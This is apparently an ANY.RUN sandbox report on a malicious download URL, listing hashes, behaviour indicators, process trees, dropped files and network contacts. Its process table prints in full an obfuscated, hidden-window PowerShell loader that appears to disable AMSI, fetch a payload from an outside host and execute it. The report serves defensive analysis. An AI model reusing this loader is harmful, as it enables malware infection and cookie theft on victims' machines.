URL:

https://krostaur.com/jpexo.php

Full analysis: https://app.any.run/tasks/f1cf470c-ae7e-4831-bc2a-d845a6e616a2
Verdict: Malicious activity
Analysis date: February 22, 2020, 09:09:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
opendir
Indicators:
MD5:

3BBB3254E42A3E3EAB4F4296C39AA573

SHA1:

F39222E025EEC448C993FC362E558D7711198281

SHA256:

1B83CB8550F5AC85CCCC1C4D3B7A2616C457DF71E011B2E90E2B9D85F4CBCD20

SSDEEP:

3:N8SDEnKyK:2SYnKyK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Rua8z9Qm.tmp (PID: 2068)
      • Rua8z9Qm.tmp (PID: 2196)

    • Starts Visual C# compiler

      • powershell.exe (PID: 372)

    • Loads dropped or rewritten executable

      • IEXPLORE.EXE (PID: 2660)
      • powershell.exe (PID: 372)
      • csc.exe (PID: 2072)
      • IEXPLORE.EXE (PID: 2808)
      • IEXPLORE.EXE (PID: 2056)
      • WMIC.exe (PID: 968)
      • cvtres.exe (PID: 2896)
      • Rua8z9Qm.tmp (PID: 2196)
      • Rua8z9Qm.tmp (PID: 2068)

    • Application was injected by another process

      • explorer.exe (PID: 1980)

    • Runs injected code in another process

      • Rua8z9Qm.tmp (PID: 2196)

  • SUSPICIOUS

    • Starts Internet Explorer

      • explorer.exe (PID: 1980)

    • Executed via COM

      • FlashUtil64_27_0_0_187_ActiveX.exe (PID: 2960)

    • Executes PowerShell scripts

      • IEXPLORE.EXE (PID: 2808)

    • Starts application with an unusual extension

      • powershell.exe (PID: 372)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 372)
      • Rua8z9Qm.tmp (PID: 2196)
      • explorer.exe (PID: 1980)

    • Uses WMIC.EXE to create a new process

      • Rua8z9Qm.tmp (PID: 2068)

    • Executed via WMI

      • Rua8z9Qm.tmp (PID: 2196)

    • Reads the machine GUID from the registry

      • explorer.exe (PID: 1980)

    • Creates files in the user directory

      • explorer.exe (PID: 1980)

    • Reads the cookies of Google Chrome

      • explorer.exe (PID: 2280)

    • Loads DLL from Mozilla Firefox

      • explorer.exe (PID: 2236)

  • INFO

    • Reads the machine GUID from the registry

      • iexplore.exe (PID: 2812)
      • FlashUtil64_27_0_0_187_ActiveX.exe (PID: 2960)

    • Changes internet zones settings

      • iexplore.exe (PID: 2812)

    • Reads settings of System Certificates

      • IEXPLORE.EXE (PID: 2808)
      • IEXPLORE.EXE (PID: 2056)
      • powershell.exe (PID: 372)
      • explorer.exe (PID: 1980)
      • explorer.exe (PID: 2236)
      • iexplore.exe (PID: 2812)

    • Reads internet explorer settings

      • IEXPLORE.EXE (PID: 2808)
      • IEXPLORE.EXE (PID: 2056)
      • IEXPLORE.EXE (PID: 2660)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2812)

    • Creates files in the user directory

      • IEXPLORE.EXE (PID: 2808)
      • FlashUtil64_27_0_0_187_ActiveX.exe (PID: 2960)
      • iexplore.exe (PID: 2812)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
14
Malicious processes
1
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start inject iexplore.exe iexplore.exe flashutil64_27_0_0_187_activex.exe no specs powershell.exe iexplore.exe iexplore.exe no specs csc.exe no specs cvtres.exe no specs rua8z9qm.tmp no specs wmic.exe rua8z9qm.tmp explorer.exe explorer.exe explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
372powershell.exe -w hidden -noni -enc dAByAHkAewAkAGwAbAAxAGwAbAAxAEkAbABJAEkASQBsAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5ADsAJABJADEAbABJAGwAbABJADEAbABsAGwAPQAkAGwAbAAxAGwAbAAxAEkAbABJAEkASQBsAC4ARwBlAHQAVAB5AHAAZQAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBVADMAbAB6AGQARwBWAHQATABrADEAaABiAG0ARgBuAFoAVwAxAGwAYgBuAFEAdQBRAFgAVgAwAGIAMgAxAGgAZABHAGwAdgBiAGkANQBCAGIAWABOAHAAVgBYAFIAcABiAEgATQA9ACcAKQApACkAOwAkAGwASQBJAEkAbABJADEAbAA9ACQASQAxAGwASQBsAGwASQAxAGwAbABsAC4ARwBlAHQARgBpAGUAbABkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFkAVwAxAHoAYQBVAGwAdQBhAFgAUgBHAFkAVwBsAHMAWgBXAFEAPQAnACkAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAkAGwASQBJAEkAbABJADEAbAAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACQAdAByAHUAZQApADsAfQBjAGEAdABjAGgAewB9ADsAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAiAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAEkAbABJAGwAMQBJADEASQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAEkAbABsAEkAMQBsADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbAAxAEkAMQAxAGwASQBsAEkAMQBJAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJAGwASQBJAEkAMQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAGwAbABsAEkASQBJAGwAOwB9AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAAsAEMAaABhAHIAUwBlAHQAPQBDAGgAYQByAFMAZQB0AC4AVQBuAGkAYwBvAGQAZQApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAEkASQBsAEkASQBsAGwAMQBsAEkASQB7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAGwAMQA7AHAAdQBiAGwAaQBjACAAcwB0AHIAaQBuAGcAIABJAEkAbAAxAGwAMQBJAEkAbABsAGwAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAAbAAxAGwAMQBsAEkAbAAxAGwAbAAxAGwAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAASQAxADEAMQBJAEkASQAxAEkAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbABJADEASQBJAEkASQAxADEASQBJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBJAEkASQBsAGwAMQAxADEAMQBsAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJAEkAMQBJAEkAMQBJAGwAbABsAEkAMQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAGwAbABJADEASQAxAEkAbAAxADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABsAGwASQBsAGwASQBJADEASQBsAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJADEASQBsADEAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAGwASQBJAEkAMQBJAGwAMQBsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbAAxAEkASQAxAGwASQA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAASQBsAGwAbABJAEkAMQA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAASQBJAEkASQBsAEkAMQBsAEkAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbABJAGwAbABsAEkAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbAAxAEkAMQBsAGwAMQBsADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAEkAbABJAEkAMQAxAEkAMQAxAEkAbABJADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAGwASQBsAGwAbAAxAGwASQAxADsAfQA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABsAEkAbABsADEAMQBsAEkAewBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAIgAsAFMAZQB0AEwAYQBzAHQARQByAHIAbwByAD0AdAByAHUAZQApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAKABzAHQAcgBpAG4AZwAgAEkAbAAxAGwAMQBsACwAcwB0AHIAaQBuAGcAIABJAGwAMQBsADEAMQBJAGwAMQBJADEALABJAG4AdABQAHQAcgAgAGwAbABJAGwASQBJACwASQBuAHQAUAB0AHIAIABsAGwASQBsAEkAbAAxAEkASQAxACwAYgBvAG8AbAAgAEkASQAxAEkAbABsADEAMQAsAHUAaQBuAHQAIABJAEkAbABsADEASQBJAGwALABJAG4AdABQAHQAcgAgAEkAMQBsAGwASQBJAEkAbAAxACwAcwB0AHIAaQBuAGcAIABJADEASQBJADEALAByAGUAZgAgAEkASQBsAEkASQBsAGwAMQBsAEkASQAgAEkAbABsADEASQAsAG8AdQB0ACAASQBsAEkAbAAxAEkAMQBJACAASQBsADEASQBsAGwAMQBsAGwAKQA7AH0AIgA7ACQAbABJAGwASQAxADEAMQA9ACIAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwATABvAHcAXAAkACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwApACsAKAA2ADUALgAuADkAMAApACsAKAA5ADcALgAuADEAMgAyACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4AHwAJQB7AFsAYwBoAGEAcgBdACQAXwB9ACkAKQAuAHQAbQBwACIAOwAkAEkAbABsAEkASQAxAGwAMQA9ACcAaAB0AHQAcABzADoALwAvAHUANABuAG8AdABtAGkAbgBlAC4AYwBvAG0ALwBaAE4AQQAvADEAOQA4ADQAXwAwADUAXwAxADEALwBFAGwAbABmAGkAcwBoAC0AcAByAGEAdABmAGEAbABsAHMALwBtAGUAYQBiAGwAZQAtAFAAYQBzAGkAbABsAG8AJwA7AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBKAEcATgBzAGEAVAAwAG8AVABtAFYAMwBMAFUAOQBpAGEAbQBWAGoAZABDAEIATwBaAFgAUQB1AFYAMgBWAGkAUQAyAHgAcABaAFcANQAwAEsAVABzAGsAWQAyAHgAcABMAGsAaABsAFkAVwBSAGwAYwBuAE4AYgBKADEAVgB6AFoAWABJAHQAUQBXAGQAbABiAG4AUQBuAFgAVAAwAG4AVQBGAFIARABVADIAaABhAFkAVQBoAEQAYQBIAFIASgBTAGsAZABQAE4AQwBjADcASgBHAE4AcwBhAFMANQBFAGIAMwBkAHUAYgBHADkAaABaAEUAWgBwAGIARwBVAG8ASgBFAGwAcwBiAEUAbABKAE0AVwB3AHgATABDAFIAcwBTAFcAeABKAE0AVABFAHgASwBUAHMAPQAnACkAKQB8AGkAZQB4ADsAJABsADEAMQAxADEAbAAxAEkASQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAEkAbABJAEkAbABsADEAbABJAEkAOwAkAGwAMQAxADEAMQBsADEASQBJAC4ASQBsAGwAbABJAEkAMQA9ADAAeAAwADsAJABsADEAMQAxADEAbAAxAEkASQAuAEkASQBJAGwAMQA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFMAaQB6AGUATwBmACgAJABsADEAMQAxADEAbAAxAEkASQApADsAJABJAGwASQBsADEASQBsAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkAbABJAGwAMQBJADEASQA7AFsAbABJAGwAbAAxADEAbABJAF0AOgA6AEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAKAAkAGwASQBsAEkAMQAxADEALAAkAGwASQBsAEkAMQAxADEALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALAAkAGYAYQBsAHMAZQAsADAAeAAwADAAMAAwADAAMAAwADgALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALAAiAGMAOgAiACwAWwByAGUAZgBdACQAbAAxADEAMQAxAGwAMQBJAEkALABbAHIAZQBmAF0AJABJAGwASQBsADEASQBsACkAfABvAHUAdAAtAG4AdQBsAGwAOwA=C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
IEXPLORE.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
968"C:\Windows\SysWOW64\wbem\WMIC.exe" process call create "C:\Users\admin\AppData\LocalLow\Rua8z9Qm.tmp"C:\Windows\SysWOW64\wbem\WMIC.exe
Rua8z9Qm.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
1980C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\winanr.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
2056"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2812 CREDAT:333058 /prefetch:2C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files (x86)\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2068C:\Users\admin\AppData\LocalLow\Rua8z9Qm.tmpC:\Users\admin\AppData\LocalLow\Rua8z9Qm.tmp—powershell.exe
User:
admin
Company:
PROMT
Integrity Level:
LOW
Description:
qntxXnvks
Exit code:
0
Version:
0, 6, 8, 5
Modules
Images
c:\users\admin\appdata\locallow\rua8z9qm.tmp
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2072"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\Low\etiytkd7.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.5483 (Win7SP1GDR.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\csc.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2196C:\Users\admin\AppData\LocalLow\Rua8z9Qm.tmpC:\Users\admin\AppData\LocalLow\Rua8z9Qm.tmp
wmiprvse.exe
User:
admin
Company:
PROMT
Integrity Level:
HIGH
Description:
qntxXnvks
Exit code:
0
Version:
0, 6, 8, 5
Modules
Images
c:\users\admin\appdata\locallow\rua8z9qm.tmp
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2236C:\Windows\explorer.exeC:\Windows\explorer.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2280C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\explorer.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2660"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2812 CREDAT:4134162 /prefetch:2C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files (x86)\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
Total events
1 534
Read events
1 376
Write events
158
Delete events
0

Modification events

(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPDaysSinceLastAutoMigration
Value:
3
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchLowDateTime
Value:
3598767408
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchHighDateTime
Value:
30796127
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateLowDateTime
Value:
3898927408
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateHighDateTime
Value:
30796127
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(2812) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
3
Suspicious files
12
Text files
37
Unknown types
13

Dropped files

PID
Process
Filename
Type
2808IEXPLORE.EXEC:\Users\admin\AppData\Local\Temp\Low\CabDD68.tmp —
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\Local\Temp\Low\TarDD69.tmp —
MD5:—
SHA256:—
2812iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BDW1XBVN\favicon[1].ico —
MD5:—
SHA256:—
2812iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UJFUX3OG\jpexo[1].htmhtml
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\YQPEPCE1\terms[1].jstext
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UJFUX3OG\uhurupro-logo[1].pngimage
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\JV28TTNU.txttext
MD5:—
SHA256:—
2808IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\YQPEPCE1\validation[1].jstext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
47
DNS requests
18
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2808
IEXPLORE.EXE
GET
200
192.35.177.64:80
http://apps.identrust.com/roots/dstrootcax3.p7c
US
cat
893 b
shared
2808
IEXPLORE.EXE
GET
200
192.35.177.64:80
http://apps.identrust.com/roots/dstrootcax3.p7c
US
cat
893 b
shared
2808
IEXPLORE.EXE
GET
200
205.185.216.10:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?3ea8a791e085d33a
US
compressed
57.4 Kb
whitelisted
2808
IEXPLORE.EXE
GET
200
205.185.216.10:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?f1922588ac574aa7
US
compressed
57.4 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2808
IEXPLORE.EXE
205.185.216.10:80
ctldl.windowsupdate.com
Highwinds Network Group, Inc.
US
whitelisted
2808
IEXPLORE.EXE
194.58.111.143:443
krostaur.com
Domain names registrar REG.RU, Ltd
RU
unknown
2812
iexplore.exe
194.58.111.143:443
krostaur.com
Domain names registrar REG.RU, Ltd
RU
unknown
2812
iexplore.exe
204.79.197.200:443
www.bing.com
Microsoft Corporation
US
whitelisted
2808
IEXPLORE.EXE
192.35.177.64:80
apps.identrust.com
IdenTrust
US
malicious
2808
IEXPLORE.EXE
64.227.36.105:443
u4notmine.com
Peer 1 Network (USA) Inc.
US
unknown
2812
iexplore.exe
64.227.36.105:443
u4notmine.com
Peer 1 Network (USA) Inc.
US
unknown
2056
IEXPLORE.EXE
64.227.36.105:443
u4notmine.com
Peer 1 Network (USA) Inc.
US
unknown
2812
iexplore.exe
152.199.19.161:443
iecvlist.microsoft.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
1980
explorer.exe
185.9.147.250:443
infinitydeveloperspes.info
Telecommunication Systems, LLC
RU
suspicious

DNS requests

Domain
IP
Reputation
krostaur.com
  • 194.58.111.143
unknown
ctldl.windowsupdate.com
  • 205.185.216.10
  • 205.185.216.42
whitelisted
api.bing.com
  • 13.107.5.80
whitelisted
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
u4notmine.com
  • 64.227.36.105
unknown
apps.identrust.com
  • 192.35.177.64
shared
iecvlist.microsoft.com
  • 152.199.19.161
whitelisted
r20swj13mr.microsoft.com
  • 152.199.19.161
whitelisted
infinitydeveloperspes.info
  • 185.9.147.250
suspicious
ieonline.microsoft.com
  • 204.79.197.200
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
https://krostaur.com/jpexo.php